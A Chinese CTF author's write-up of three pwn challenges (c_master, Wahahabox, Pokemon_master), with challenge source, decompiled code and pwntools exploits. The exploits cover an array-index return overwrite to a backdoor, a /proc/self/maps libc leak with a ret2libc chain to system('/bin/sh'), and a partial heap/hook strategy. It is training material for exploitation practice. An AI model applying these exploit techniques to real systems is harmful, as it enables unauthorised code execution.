这次出了三道题(一道新生专属难度,两道中等难度)
这次没有出困难题,但是中等题其实也足够困难了。
结合其他师傅的出题,感觉上比较缺少过渡的出题,造成现象旱的旱死,涝的涝死(qy师傅出的不错,也很有意思)
【新生专属】c_master
:::info 题目描述
请使用简单的C语句对程序进行getshell吧!
:::
下面是题目源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 #include <stdio.h> #include <stdlib.h> #include <unistd.h> void init () ;void init () { setvbuf(stdin , 0LL , 2 , 0LL ); setvbuf(stderr , 0LL , 2 , 0LL ); setvbuf(stdout , 0LL , 2 , 0LL ); return ; } void backdoor () ;void backdoor () { system("/bin/sh" ); } int main () { init(); char base[8 ]; int baseidx=0 ; char * string =malloc (1024 ); memset (string ,0 ,1024 ); puts ("Try to write a C getshell program with my code!" ); puts ("read(0,base,0x8);" ); puts ("write(1,base,0x8);" ); puts ("base+=8;" ); puts ("base-=8;" ); puts ("return 0;" ); while (1 ){ puts (">>>" ); scanf ("%128s" ,string ); if (!strcmp (string ,"read(0,base,0x8);" )){ puts ("input:" ); read(0 ,&base[baseidx],0x8 ); } else if (!strcmp (string ,"write(1,base,0x8);" )){ puts ("output:" ); write(1 ,&base[baseidx],0x8 ); } else if (!strcmp (string ,"base+=8;" )){ baseidx+=8 ; } else if (!strcmp (string ,"base-=8;" )){ baseidx-=8 ; } else if (strcmp (string ,"return 0;" )){ break ; } else { puts ("No such code..." ); } } return 0 ; }
0x1 逆向分析
checksec查看,没开pie保护,elf地址对我们是透明的。
拖进IDA分析,看看main函数干了什么?
首先申请了一个0x400的堆块,然后scanf读取输入写到堆上。
然后调用strcmp比较输入的字符串和目标字符串。
如代码所示,read和write都是针对(base~base+0x7)这一块内存进行读写操作。
所以我们得看看base在哪里,这里的base就是我们的v6[v4]
注意到base+=8是 v4+=8,v4是索引
v6就是base,索引没做限制,这就是数组溢出。
base到ret的距离是v10到return_address的距离 也就是0x10+0x8=0x18,所以只需要让v4移动三次。
栈底是高地址,所以我们得让v4+=8进行三次操作;
此处我们直接覆盖ret返回地址,只要不对canary进行改写,就不会触发canary保护。
如果直接返回backdoor函数有栈平衡问题
只需要跳过push rbp指令即可
0x2 思路总结
通过数组溢出,覆盖ret为backdoor地址(0x4012BB ),但是有栈平衡问题,需要跳过一个push指令,所以覆盖为0x4012C0。
0x3 exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 from pwn import *context(log_level="debug" ) p=remote("43.248.97.213" ,30219 ) system=0x4012c0 p.sendline("base+=8;" ) p.sendline("base+=8;" ) p.sendline("base+=8;" ) p.sendline("write(1,base,0x8);" ) p.sendline("read(0,base,0x8);" ) p.send(p64(system)) p.sendline("return 0;" ) p.interactive()
Wahahabox
题目描述:
0X1 逆向分析
check一下二进制程序,发现没开canary,但是开了pie。
拖进IDA进行逆向
main函数如下
1 2 3 4 5 6 7 8 9 10 11 int __fastcall main (int argc, const char **argv, const char **envp) { _BYTE buf[32 ]; puts ("If you want to open the box, what do you want to say to Wahaha?" ); __isoc99_scanf("%31s" , buf); gift(buf); puts ("Try to open" ); read(0 , buf, 0x40 uLL); return 0 ; }
我们先计算buf到ret的距离,计算得0x20+0x8
所以第一个scanf(“%31s”);我们是无法覆盖ret的,第二个read(0,bu,0x40);能够覆盖ret,但是只能构造一个p64(pop_rdi )+p64 (数据) + p64(返回地址)的ROP链。
然后跟进gift函数,看看能给什么信息。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 ssize_t __fastcall gift (const char *a1) { _BYTE s[2060 ]; int fd; if ( strstr (a1, "flag" ) ) { puts ("It's a secret :)" ); exit (-1 ); } fd = open(a1, 0 ); if ( fd < 0 ) { puts ("Open box fail :(" ); exit (-1 ); } puts ("Wahaha left you the keys" ); memset (s, 0 , 0x800 uLL); read(fd, s, 0x800 uLL); return write(1 , s, 0x800 uLL); }
这里open会根据我们字符串去打开一个文件(第二个参数决定以只读形式打开),而且如果我们字符串中有flag这个子字符串(可以去查找strstr函数的功能)就会退出程序。
然后给了很大的栈空间,来读取文件的内容并输出。
其实看到这里了解相关知识点的人就能想到利用/proc/self/maps这个文件去泄露 程序相关的映射地址 了。
放出tips:/proc下的文件很有用
其实非常有必要去学习一下这个文件夹。web和pwn其实都有用。
在本地执行,open打开/proc/self/maps终端输出如下,这里要接收libc.so的地址,这里以接收 b’55edda100000-55edda121000 rw-p 00000000 00:00 0 [heap]\n’中的 子字符串
“[heap]\n”
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 b'55 edd95bc000-55 edd95bd000 r--p 00000000 08 :03 1835165 /home/qwq/ctf/ctf2024/2024 xsctf/origin/wahahabox/wahahabox\n' b'55 edd95bd000-55 edd95be000 r-xp 00001000 08 :03 1835165 /home/qwq/ctf/ctf2024/2024 xsctf/origin/wahahabox/wahahabox\n' b'55 edd95be000-55 edd95bf000 r--p 00002000 08 :03 1835165 /home/qwq/ctf/ctf2024/2024 xsctf/origin/wahahabox/wahahabox\n' b'55 edd95bf000-55 edd95c0000 r--p 00002000 08 :03 1835165 /home/qwq/ctf/ctf2024/2024 xsctf/origin/wahahabox/wahahabox\n' b'55 edd95c0000-55 edd95c1000 rw-p 00003000 08 :03 1835165 /home/qwq/ctf/ctf2024/2024 xsctf/origin/wahahabox/wahahabox\n' b'55 edda100000-55 edda121000 rw-p 00000000 00 :00 0 [heap]\n' b'768 d30600000-768 d30628000 r--p 00000000 08 :03 919725 /usr/lib/x86_64-linux-gnu/libc.so.6 \n' b'768 d30628000-768 d307bd000 r-xp 00028000 08 :03 919725 /usr/lib/x86_64-linux-gnu/libc.so.6 \n' b'768 d307bd000-768 d30815000 r--p 001b d000 08 :03 919725 /usr/lib/x86_64-linux-gnu/libc.so.6 \n' b'768 d30815000-768 d30816000 ---p 00215000 08 :03 919725 /usr/lib/x86_64-linux-gnu/libc.so.6 \n' b'768 d30816000-768 d3081a000 r--p 00215000 08 :03 919725 /usr/lib/x86_64-linux-gnu/libc.so.6 \n' b'768 d3081a000-768 d3081c000 rw-p 00219000 08 :03 919725 /usr/lib/x86_64-linux-gnu/libc.so.6 \n' b'768 d3081c000-768 d30829000 rw-p 00000000 00 :00 0 \n' b'768 d309c5000-768 d309c8000 rw-p 00000000 00 :00 0 \n' b'768 d309dc000-768 d309de000 rw-p 00000000 00 :00 0 \n' b'768 d309de000-768 d309e0000 r--p 00000000 08 :03 918161 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64. so.2 \n' b'768 d309e0000-768 d30a0a000 r-xp 00002000 08 :03 918161 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64. so.2 \n' b'768 d30a0a000-768 d30a15000 r--p 0002 c000 08 :03 918161 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64. so.2 \n' b'768 d30a16000-768 d30a18000 r--p 00037000 08 :03 918161 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64. so.2 \n' b'768 d30a18000-768 d30a1a000 rTry to open\n' /home/qwq/ctf/ctf2024/2024 xsctf/origin/wahahabox/m.py:8 : BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https: p.recvuntil("rw-p 00000000 00:00 0 \n" ) [*] Switching to interactive mode 768 d309c5000-768 d309c8000 rw-p 00000000 00 :00 0 768 d309dc000-768 d309de000 rw-p 00000000 00 :00 0 768 d309de000-768 d309e0000 r--p 00000000 08 :03 918161 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64. so.2 768 d309e0000-768 d30a0a000 r-xp 00002000 08 :03 918161 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64. so.2 768 d30a0a000-768 d30a15000 r--p 0002 c000 08 :03 918161 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64. so.2 768 d30a16000-768 d30a18000 r--p 00037000 08 :03 918161 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64. so.2 768 d30a18000-768 d30a1a000 rTry to open
不同glibc可能内存分布略有区别,这里用的是2.35的3.8
有了libc地址之后(也可以获得elf地址,stack地址)。就直接栈溢出打system(“/bin/sh”)就行,如果遇到栈平衡问题,此时请把libc中的system地址+27,这样可以直接调用更底层函数do_system。
当然也有其他getshell方法或者ORW。
0X2 思路总结
scanf的输入,要输入/proc/self/maps去泄露libc地址,然后栈溢出当普通ret2libc来做就可以了。
0x3 exp
getshell发现实在根目录,flag在/home/ctf目录
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 from pwn import * context (log_level="debug" ) p=process('./wahahabox' ) #p=remote("43.248.97.213" ,30057) gdb.attach(p,"b *$rebase(0x129a)" ) p.sendline("/proc/self/maps" )#./flag #p.recvuntil("rw-p 00000000 00:00 0" ) p.recvuntil("[heap]\n" ) #p.recvuntil("rw-p 00000000 00:00 0 \n" ) libc_addr=int (p.recv(12 )[-12 :].rjust(16 ,b'0' ),16 ) print("libc_addr" ,hex(libc_addr)) libcbase=libc_addr system=libcbase+0x50d70 +27 bin_sh=libcbase+ 0x1d8678 pop_rdi=libcbase+0x2a3e5 payload=b' a' *0x28 +p64(pop_rdi)+p64(bin_sh)+p64(system) print("libc_addr" ,hex(libc_addr)) p.send(payload) "" "" "" p.interactive()
Pokemon_master
:::info 宝可梦大师! 你是纪南镇的一名宝可梦新手,你已经达到了可以外出探险的年纪,请外出探险,成为伟大的冒险家吧!传闻外面有很强大的神兽,击败它会获得神器。
TIPS:
1.商店卖的防御剂有惊喜
2.负数溢出
3.选速度最快的精灵
4.貌似有一个hook?
5.覆水亦可收,free掉的堆块还能申请回来
6.申请回特殊堆块可改写hook
:::
源码太长了,单独一桌
基本原理不难,但是逆向难度对于新生来说是有点挑战性的(无论是代码量还是结构体逆向),花点时间知道原理还是能做出来的,更何况放了那么多tips。
游戏题:数组溢出、整数溢出比较多
0x0 源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> #define MAXMAX 9999 #define MINMIN 1 struct pokemon { char name[16 ]; unsigned int hp; unsigned int attack; unsigned int speed; unsigned int defence; }; void init () ;void Start_choose (struct pokemon** mypoke) ;void Start_print () ;void Mainmenu () ;void Outmenu () ;void Skillmenu () ;void Out (struct pokemon** mypoke) ;void Store (struct pokemon** mypoke) ;void Status (struct pokemon** mypoke) ;void Pokemon_name (struct pokemon** mypoke,char * str) ;void Pokemon_print (struct pokemon** mypoke) ;int Fight (struct pokemon** mypoke,struct pokemon* emerypoke) ;int money=0 ;int change=0 ;size_t *ex1t;int main () { init(); Start_print(); int choice; char say[32 ]; struct pokemon * mypoke ; Start_choose(&mypoke); puts ("You open the Starter Pack and get a hundred coins" ); money+=100 ; printf ("gift:%p\n" ,&puts ); while (1 ) { whilestart: if (money <0 ){ puts ("No money, you out:(" ); break ; } Mainmenu(); scanf ("%d" ,&choice); switch (choice) { case 1 : Store(&mypoke); break ; case 2 : Out(&mypoke); break ; case 3 : Status(&mypoke); break ; case 4 : puts ("\nWhat you want to say?" ); gets(say); (*(void (*)(char *))ex1t[0 ])(say); break ; case 666 : puts ("Why does technology make Pokémon?" ); struct pokemon * test ; test=(struct pokemon*)malloc (sizeof (struct pokemon)); read(0 ,&test->name[0 ],0x10 ); test->hp=1 ; test->speed=1 ; test->attack=1 ; test->defence=1 ; puts ("It's so weak..." ); break ; default : goto whilestart; break ; } } return 0 ; } void Outmenu () { puts ("You walked into the Divine Beast Forest, hoping to meet the Divine Beast QWQ..." ); puts ("There are two roads in front of you, choose the one on the left or the one on the right." ); puts ("1.left" ); puts ("2.right" ); printf (">>>" ); } void Out (struct pokemon** mypoke) { int choice=0 ; Outmenu(); scanf ("%d" ,&choice); switch (choice) { case 1 : struct pokemon *QWQ ; puts ("You're very lucky, it's the Divine Beast QWQ that roars in front of you, let's grab it and knock it out first!" ); puts ("QWQ: qwq~ qwq~ qwq~ qwq~ qwq~ qwq~" ); QWQ=(struct pokemon*)malloc (sizeof (struct pokemon)); QWQ->hp=MAXMAX; QWQ->speed=15 ; QWQ->defence=MAXMAX; QWQ->attack=MAXMAX; Pokemon_name(&QWQ,"QWQ" ); if (Fight(mypoke,QWQ)){ puts ("The soul of the mythical beast flew away..." ); free (ex1t); }else { puts ("Loser..." ); } free (QWQ); break ; default : struct pokemon *TAT ; puts ("You haven't encountered a beast, but you've encountered a TAT that guards the treasure, so try to stun it for some loot" ); puts ("TAT: WTF!" ); TAT=(struct pokemon*)malloc (sizeof (struct pokemon)); TAT->hp=MINMIN; TAT->speed=15 ; TAT->defence=MINMIN; TAT->attack=MINMIN; Pokemon_name(&TAT,"TAT" ); if (Fight(mypoke,TAT)){ puts ("Your earn some money~" ); money+=200 ; }else { puts ("Loser..." ); } free (TAT); break ; } } void Skillmenu () { puts ("When the battle begins, choose the skill you want to use" ); puts ("1.Attack 2.Defence" ); puts ("3.Escape 4.Surrender" ); printf (">>>" ); } int Fight (struct pokemon** mypoke,struct pokemon* emerypoke) { int myspeed = (*mypoke)->speed; int emspeed = emerypoke->speed; int myhp=(*mypoke)->hp; int emhp=emerypoke->hp; int faster=0 ; while (1 ) { int choice=0 ; Skillmenu(); scanf ("%d" ,&choice); switch (choice) { case 1 : if (myspeed>emspeed){ myspeed -= emerypoke->speed; faster=1 ; }else { emspeed -= (*mypoke)->speed; faster=0 ; } if (faster){ emhp = emhp - (((*mypoke)->attack/2 )-(emerypoke->defence/3 )); }else { myhp = myhp - ((emerypoke->attack/2 )-((*mypoke)->defence/3 )); } myspeed+=(*mypoke)->speed; emspeed+=emerypoke->speed; if (myhp <= 0 ){ puts ("Game Over :(" ); return 0 ; } else if (emhp <= 0 ){ puts ("Congratulations! You win!" ); return 1 ; } break ; case 2 : if (emerypoke->attack > (*mypoke)->defence){ puts ("Even if you defend, the other party still kills you in seconds" ); return 0 ; }else { puts ("The defense succeeded, but nothing happened" ); } break ; case 3 : if (emerypoke->speed > (*mypoke)->speed){ puts ("You're not fast enough to escape the fight" ); return 0 ; }else { puts ("Escape!" ); return 0 ; } break ; case 4 : return 0 ; break ; default : break ; } } } void Store (struct pokemon** mypoke) { int choice=0 ; store_again: puts ("I'm a merchant from GuanDu city, what do you want to buy?" ); puts ("1.Attack agents" ); puts ("2.Defensive agents" ); puts ("3.Poké Ball" ); puts ("4.EXIT" ); printf (">>>" ); scanf ("%d" ,&choice); switch (choice) { case 1 : money-=75 ; (*mypoke)->attack+=10 ; (*mypoke)->defence-=10 ; break ; case 2 : money-=75 ; (*mypoke)->attack-=10 ; (*mypoke)->defence+=10 ; break ; case 3 : money-=75 ; puts ("Are you sure this is not a name change card?" ); char * newname=malloc (15 ); change++; break ; case 4 : break ; default : goto store_again; break ; } puts ("You say: f**king Black-hearted businessman" ); } void Status (struct pokemon** mypoke) { printf ("Your money: %d\n" ,money); puts ("The status of your Pokémon is as follows" ); Pokemon_print(mypoke); puts ("Over~" ); return ; } void Pokemon_print (struct pokemon** mypoke) { printf ("Pokemon name:%s\n" ,&(*mypoke)->name[0 ]); printf ("Hp:%u\n" ,(*mypoke)->hp); printf ("AT:%u\n" ,(*mypoke)->attack); printf ("DE:%u\n" ,(*mypoke)->defence); printf ("SP:%u\n" ,(*mypoke)->speed); return ; } void Pokemon_name (struct pokemon** mypoke,char * str) { for (int i=0 ;i<15 ;i++) { (*mypoke)->name[i]=str[i]; } } void Start_choose (struct pokemon** mypoke) { int choice=0 ; Start_choose_again: puts ("Please choose a pokemon to follow you" ); puts ("1.Pika!" ); puts ("2.Little Fire Dragon!" ); puts ("3.Wonderful frog seeds!" ); puts ("4.Jenny Turtle!" ); printf (">>>" ); scanf ("%d" ,&choice); switch (choice) { case 1 : *mypoke = (struct pokemon*)malloc (sizeof (struct pokemon)); (*mypoke)->hp=21 ; (*mypoke)->speed=16 ; (*mypoke)->defence=8 ; (*mypoke)->attack=14 ; Pokemon_name(mypoke,"Pikapi" ); break ; case 2 : *mypoke = (struct pokemon*)malloc (sizeof (struct pokemon)); (*mypoke)->hp=25 ; (*mypoke)->speed=12 ; (*mypoke)->defence=14 ; (*mypoke)->attack=14 ; Pokemon_name(mypoke,"Charmander" ); break ; case 3 : *mypoke = (struct pokemon*)malloc (sizeof (struct pokemon)); (*mypoke)->hp=31 ; (*mypoke)->speed=10 ; (*mypoke)->defence=11 ; (*mypoke)->attack=10 ; Pokemon_name(mypoke,"Bulbasaur" ); break ; case 4 : *mypoke = (struct pokemon*)malloc (sizeof (struct pokemon)); (*mypoke)->hp=28 ; (*mypoke)->speed=9 ; (*mypoke)->defence=20 ; (*mypoke)->attack=9 ; Pokemon_name(mypoke,"Squirtle" ); break ; default : goto Start_choose_again; break ; } } void Mainmenu () { puts ("1.Store" ); puts ("2.Out" ); puts ("3.Status" ); puts ("4.exit_the_world" ); printf (">>>" ); } void init () { setvbuf(stdin , 0LL , 2 , 0LL ); setvbuf(stderr , 0LL , 2 , 0LL ); setvbuf(stdout , 0LL , 2 , 0LL ); ex1t=(size_t *)malloc (sizeof (struct pokemon)); size_t temp=&exit ; memcpy (ex1t,&temp,8 ); return ; } void Start_print () { puts (",-.----. ____ " ); puts ("\\ / \\ ,-. ,' , `. " ); puts ("| : \\ ,--/ /| ,-+-,.' _ | " ); puts ("| | .\\ : ,---. ,--. :/ | ,-+-. ; , || ,---. ,---, " ); puts (". : |: | ' ,'\\ : : ' / ,--.'|' | ;| ' ,'\\ ,-+-. / | " ); puts ("| | \\ : / / || ' / ,---. | | ,', | ': / / | ,--.'|' | " ); puts ("| : . /. ; ,. :' | : / \\ | | / | | ||. ; ,. :| | ,\"' | " ); puts ("; | |`-' ' | |: :| | \\ / / |' | : | : |,' | |: :| | / | | " ); puts ("| | ; ' | .; :' : |. \\ . ' / |; . | ; |--' ' | .; :| | | | | " ); puts (": ' | | : || | ' \\ \' ; /|| : | | , | : || | | |/ " ); puts (": : : \\ \\ / ' : |--' ' | / || : ' |/ \\ \\ / | | |--' " ); puts ("| | : `----' ; |,' | : |; | |`-' `----' | |/ " ); puts ("`---'.| '--' \\ \\ / | ;/ '---' " ); puts (" `---` `----' '---' " ); puts ("Welcome to my Pokémon World, where you are now in the small town of Kinan, where people and elves get along in harmony! Hey! Your dream is to collect the world's most famous mythical QWQ, come on adventurers, and embark on your adventure!" ); }
0x1 逆向
checksec查看保护,全保护,将就着看吧。
拖进ida分析,此时要先看init函数,因为里面可能藏了点东西,ex1t是一个指针,分配了一个chunk给它。
然后给堆上内存赋值exit的地址。
1 2 3 4 5 6 7 8 9 10 11 12 unsigned __int64 init () { unsigned __int64 v1; v1 = __readfsqword(0x28 u); setvbuf(stdin , 0LL , 2 , 0LL ); setvbuf(stderr , 0LL , 2 , 0LL ); setvbuf(stdout , 0LL , 2 , 0LL ); ex1t = malloc (0x20 uLL); *(_QWORD *)ex1t = &exit ; return v1 - __readfsqword(0x28 u); }
来到main函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 int __fastcall main (int argc, const char **argv, const char **envp) { int v4; _BYTE v5[8 ]; void *buf; _BYTE v7[40 ]; unsigned __int64 v8; v8 = __readfsqword(0x28 u); init(argc, argv, envp); Start_print(); Start_choose(v5); puts ("You open the Starter Pack and get a hundred coins" ); money += 100 ; printf ("gift:%p\n" , &puts ); while ( money >= 0 ) { Mainmenu(); __isoc99_scanf("%d" , &v4); if ( v4 == 666 ) { puts (aWhyDoesTechnol); buf = malloc (0x20 uLL); read(0 , buf, 0x10 uLL); *((_DWORD *)buf + 4 ) = 1 ; *((_DWORD *)buf + 6 ) = 1 ; *((_DWORD *)buf + 5 ) = 1 ; *((_DWORD *)buf + 7 ) = 1 ; puts ("It's so weak..." ); } else if ( v4 <= 666 ) { if ( v4 == 4 ) { puts ("\nWhat you want to say?" ); gets(v7); (*(void (__fastcall **)(_BYTE *))ex1t)(v7); } else if ( v4 <= 4 ) { switch ( v4 ) { case 3 : Status(v5); break ; case 1 : Store(v5); break ; case 2 : Out(v5); break ; } } } } puts ("No money, you out:(" ); return 0 ; }
有个菜单,开局还送libc地址,这怎么输?
但是首先会先让你选精灵,money+=100,之后,就可以根据菜单去做题了。
1 2 3 4 5 6 7 8 int Mainmenu () { puts ("1.Store" ); puts ("2.Out" ); puts ("3.Status" ); puts ("4.exit_the_world" ); return printf (">>>" ); }
Start_choose函数
开局选精灵
1 2 3 4 5 puts ("Please choose a pokemon to follow you" );puts ("1.Pika!" );puts ("2.Little Fire Dragon!" );puts ("3.Wonderful frog seeds!" );puts ("4.Jenny Turtle!" );
这里不急,我们往下面分配内存的代码看。
无论选什么都会分配0x20(实际上是0x20+0x10,具体请看ctfwiki堆概况章节)的堆块,这里我们并不知道每一个的意思,但是猜出这是一个结构体,和精灵有关,最有可能想到的是精灵的属性,想不到也不用管。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 unsigned __int64 __fastcall Start_choose (__int64 a1) { int v2; unsigned __int64 v3; v3 = __readfsqword(0x28 u); v2 = 0 ; while ( 1 ) { puts ("Please choose a pokemon to follow you" ); puts ("1.Pika!" ); puts ("2.Little Fire Dragon!" ); puts ("3.Wonderful frog seeds!" ); puts ("4.Jenny Turtle!" ); printf (">>>" ); __isoc99_scanf("%d" , &v2); if ( v2 == 4 ) break ; if ( v2 <= 4 ) { switch ( v2 ) { case 3 : *(_QWORD *)a1 = malloc (0x20 uLL); *(_DWORD *)(*(_QWORD *)a1 + 16LL ) = 31 ; *(_DWORD *)(*(_QWORD *)a1 + 24LL ) = 10 ; *(_DWORD *)(*(_QWORD *)a1 + 28LL ) = 11 ; *(_DWORD *)(*(_QWORD *)a1 + 20LL ) = 10 ; Pokemon_name(a1, "Bulbasaur" ); return v3 - __readfsqword(0x28 u); case 1 : *(_QWORD *)a1 = malloc (0x20 uLL); *(_DWORD *)(*(_QWORD *)a1 + 16LL ) = 21 ; *(_DWORD *)(*(_QWORD *)a1 + 24LL ) = 16 ; *(_DWORD *)(*(_QWORD *)a1 + 28LL ) = 8 ; *(_DWORD *)(*(_QWORD *)a1 + 20LL ) = 14 ; Pokemon_name(a1, "Pikapi" ); return v3 - __readfsqword(0x28 u); case 2 : *(_QWORD *)a1 = malloc (0x20 uLL); *(_DWORD *)(*(_QWORD *)a1 + 16LL ) = 25 ; *(_DWORD *)(*(_QWORD *)a1 + 24LL ) = 12 ; *(_DWORD *)(*(_QWORD *)a1 + 28LL ) = 14 ; *(_DWORD *)(*(_QWORD *)a1 + 20LL ) = 14 ; Pokemon_name(a1, "Charmander" ); return v3 - __readfsqword(0x28 u); } } } *(_QWORD *)a1 = malloc (0x20 uLL); *(_DWORD *)(*(_QWORD *)a1 + 16LL ) = 28 ; *(_DWORD *)(*(_QWORD *)a1 + 24LL ) = 9 ; *(_DWORD *)(*(_QWORD *)a1 + 28LL ) = 20 ; *(_DWORD *)(*(_QWORD *)a1 + 20LL ) = 9 ; Pokemon_name(a1, "Squirtle" ); return v3 - __readfsqword(0x28 u); }
case1 :Store
是一个商店,卖攻击药剂和防御药剂还有精灵球,买精灵球会有change++,猜测是改名机会。
防御剂是攻击下降,防御上升。攻击剂是攻击上升,防御下降。
攻击是a1+20
防御是a1+28
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 unsigned __int64 __fastcall Store (__int64 a1) { int v2; void *v3; unsigned __int64 v4; v4 = __readfsqword(0x28 u); v2 = 0 ; while ( 1 ) { puts ("I'm a merchant from GuanDu city, what do you want to buy?" ); puts ("1.Attack agents" ); puts ("2.Defensive agents" ); puts (a3Pok); puts ("4.EXIT" ); printf (">>>" ); __isoc99_scanf("%d" , &v2); if ( v2 == 4 ) break ; if ( v2 <= 4 ) { switch ( v2 ) { case 3 : money -= 75 ; puts ("Are you sure this is not a name change card?" ); v3 = malloc (0xF uLL); ++change; goto LABEL_11; case 1 : money -= 75 ; *(_DWORD *)(*(_QWORD *)a1 + 20LL ) += 10 ; *(_DWORD *)(*(_QWORD *)a1 + 28LL ) -= 10 ; goto LABEL_11; case 2 : money -= 75 ; *(_DWORD *)(*(_QWORD *)a1 + 20LL ) -= 10 ; *(_DWORD *)(*(_QWORD *)a1 + 28LL ) += 10 ; goto LABEL_11; } } } LABEL_11: puts ("You say: f**king Black-hearted businessman" ); return v4 - __readfsqword(0x28 u); }
case 2 : out
外出函数,分析下来就是左转遇到小精灵能够赚钱,右转遇到神兽,打赢了就会free掉一个(ex1t所在的)chunk。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 unsigned __int64 __fastcall Out (__int64 a1) { int v2; void *ptr; unsigned __int64 v4; v4 = __readfsqword(0x28 u); v2 = 0 ; Outmenu(); __isoc99_scanf("%d" , &v2); if ( v2 != 1 ) { puts ( "You haven't encountered a beast, but you've encountered a TAT that guards the treasure, so try to stun it for some loot" ); puts ("TAT: WTF!" ); ptr = malloc (0x20 uLL); *((_DWORD *)ptr + 4 ) = 1 ; *((_DWORD *)ptr + 6 ) = 15 ; *((_DWORD *)ptr + 7 ) = 1 ; *((_DWORD *)ptr + 5 ) = 1 ; Pokemon_name(&ptr, "TAT" ); if ( (unsigned int )Fight(a1, ptr) ) { puts ("Your earn some money~" ); money += 200 ; goto LABEL_8; } LABEL_7: puts ("Loser..." ); goto LABEL_8; } puts ("You're very lucky, it's the Divine Beast QWQ that roars in front of you, let's grab it and knock it out first!" ); puts ("QWQ: qwq~ qwq~ qwq~ qwq~ qwq~ qwq~" ); ptr = malloc (0x20 uLL); *((_DWORD *)ptr + 4 ) = 9999 ; *((_DWORD *)ptr + 6 ) = 15 ; *((_DWORD *)ptr + 7 ) = 9999 ; *((_DWORD *)ptr + 5 ) = 9999 ; Pokemon_name(&ptr, "QWQ" ); if ( !(unsigned int )Fight(a1, ptr) ) goto LABEL_7; puts ("The soul of the mythical beast flew away..." ); free (ex1t); LABEL_8: free (ptr); return v4 - __readfsqword(0x28 u); }
这里用到了Fight函数让两个精灵进行决斗。
Fight函数里面选攻击就好了(就不逆向了,都是一些实现蘸豆的逻辑),但是你要速度快并且一刀能打死QWQ。
case 3 : Status
对当前状况进行查看
1 2 3 4 5 6 7 int __fastcall Status (__int64 a1) { printf ("Your money: %d\n" , money); puts (aTheStatusOfYou); Pokemon_print(a1); return puts ("Over~" ); }
case 4 : ex1t
使用了函数指针执行退出函数,并且能够控制第一个参数
1 2 3 4 5 6 if ( v4 == 4 ){ puts ("\nWhat you want to say?" ); gets(v7); (*(void (__fastcall **)(_BYTE *))ex1t)(v7); }
case 666 : gift
会分配一个0x20大小的堆,并且能够改写一部分内存。
1 2 3 4 5 6 7 8 9 10 11 if ( v4 == 666 ){ puts (aWhyDoesTechnol); buf = malloc (0x20 uLL); read(0 , buf, 0x10 uLL); *((_DWORD *)buf + 4 ) = 1 ; *((_DWORD *)buf + 6 ) = 1 ; *((_DWORD *)buf + 5 ) = 1 ; *((_DWORD *)buf + 7 ) = 1 ; puts ("It's so weak..." ); }
0x2 思路
开局给了libc地址,这怎么输?
1 2 3 4 5 6 ptr = malloc (0x20 uLL); *((_DWORD *)ptr + 4 ) = 9999 ; *((_DWORD *)ptr + 6 ) = 15 ; *((_DWORD *)ptr + 7 ) = 9999 ; *((_DWORD *)ptr + 5 ) = 9999 ; Pokemon_name(&ptr, "QWQ" );
简单观察神兽只有这项属性 *((_DWORD )ptr + 6) = 15最低, ptr是我们堆刚开始的地方
这里Dword是4字节,所以也就是ptr+6*4=ptr+24
我们选精灵的时候,要选这个属性大于QWQ的,才有可能取得胜利。
也就是我们的Pikapi!
